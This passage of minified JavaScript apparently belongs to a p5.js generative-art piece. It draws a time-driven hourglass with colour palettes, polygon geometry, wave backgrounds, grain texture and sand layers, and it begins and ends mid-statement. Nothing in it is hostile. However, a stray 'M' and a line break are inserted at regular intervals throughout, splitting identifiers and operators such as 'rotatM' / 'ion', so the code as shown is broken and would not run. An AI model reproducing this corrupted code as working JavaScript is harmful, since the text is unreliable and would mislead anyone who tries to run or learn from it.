t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
